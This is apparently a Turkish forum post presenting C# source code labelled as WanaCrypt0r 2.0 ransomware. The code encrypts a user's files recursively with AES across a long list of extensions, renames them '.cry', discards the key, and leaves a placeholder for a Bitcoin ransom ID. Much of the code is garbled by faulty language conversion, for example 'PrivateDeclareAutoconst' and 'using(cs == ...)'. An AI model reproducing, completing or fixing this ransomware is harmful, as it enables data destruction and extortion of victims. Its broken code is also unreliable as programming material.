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WanaCrypt0r 2.0 - C# Kullanılan Tanımlamalar ve Fonksiyonlar
#1
Kod:
   Privateconst object SWP_HIDEWINDOW = 128;
    Privateconst object SWP_SHOWWINDOW = 64;
    PrivateDeclareAutoconst object HKEY_CURRENT_USER = 2147483649;

    
    [DllImport("user32.dll")]
    private static extern long SetWindowPos(long hwnd, long hWndInsertAfter, long x, long y, long cx, long cy, long wFlags);
    
    private const int SPI_SETDESKWALLPAPER = 20;
    
    private const int SPIF_UPDATEINIFILE = 1;
    private const int SPIF_SENDWININICHANGE = 2;
    [DllImport("user32.dll")]
    static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
    [DllImport("user32.dll", EntryPoint="FindWindowA")]
    static extern int FindWindow(string lpClassName, string lpWindowName);
    [DllImport("user32.dll")]
    static extern int SetWindowPos(int hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
    private string sKey;
    private string userName = Environment.UserName;
    private string computerName = System.Environment.MachineName.ToString();
    private string userDir = "C:\\Users\\";
    private string BTC_ID = "<your_btc_id>";

Kod:
public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {

 byte[] encryptedBytes = null;
 byte[] saltBytes = new byte[] {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8
 };
 using(MemoryStream ms = new MemoryStream()) {
  using(RijndaelManaged AES = new RijndaelManaged()) {
   AES.KeySize = 256;
   AES.BlockSize = 128;

   dynamic key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
   AES.Key = key.GetBytes(AES.KeySize / 8);
   AES.IV = key.GetBytes(AES.BlockSize / 8);

   AES.Mode = CipherMode.CBC;

   using(cs == new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
    cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
    cs.Close();
   }
   encryptedBytes = ms.ToArray();
  }
 }

 return encryptedBytes;
}

Kod:
public string CreatePassword(int length) {

 const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
 StringBuilder res = new StringBuilder();
 Random rnd = new Random();
 while (0 < System.Math.Max(System.Threading.Interlocked.Decrement(length), length + 1)) {
  res.Append(valid(rnd.Next(valid.Length)));
 }
 return res.ToString();
}

Kod:
public void EncryptFile(string file__1, string password) {

 byte[] bytesToBeEncrypted = File.ReadAllBytes(file__1);
 byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
 passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
 byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
 File.WriteAllBytes(file__1, bytesEncrypted);
 System.IO.File.Move(file__1, file__1 + Convert.ToString(".cry"));
}

Kod:
public void encryptDirectory(string location, string password) {

 dynamic validExtensions = new string[] {
  ".txt",
  ".doc",
  ".docx",
  ".xls",
  ".xlsx",
  ".ppt",
  ".pptx",
  ".odt",
  ".jpg",
  ".png",
  ".csv",
  ".sql",
  ".mdb",
  ".sln",
  ".php",
  ".asp",
  ".aspx",
  ".html",
  ".xml",
  ".psd",
  ".exe",
  ".backup",
  ".iso",
  ".sql",
  ".shtml",
  ".js",
  ".cpp",
  ".h",
  ".vb",
  ".frm",
  ".ini",
  ".log",
  ".asi",
  ".dll",
  ".c",
  ".htm"
 };
 string[] files = Directory.GetFiles(location);
 string[] childDirectories = Directory.GetDirectories(location);
 for (int i = 0; i <= files.Length - 1; i++) {
  string extension = Path.GetExtension(files(i));
  if (validExtensions.Contains(extension) | validExtensions.Contains(extension.ToUpper) | validExtensions.Contains(extension.ToLower)) {
   EncryptFile(files(i), password);
  }
 }
 for (int i = 0; i <= childDirectories.Length - 1; i++) {
  encryptDirectory(childDirectories(i), password);
 }
}

Kod:
public void startAction() {

 string password = CreatePassword(15);
 string path = "\\Desktop\\test";
 string startPath = userDir + userName + path;
 encryptDirectory(startPath, password);
 password = null;
}
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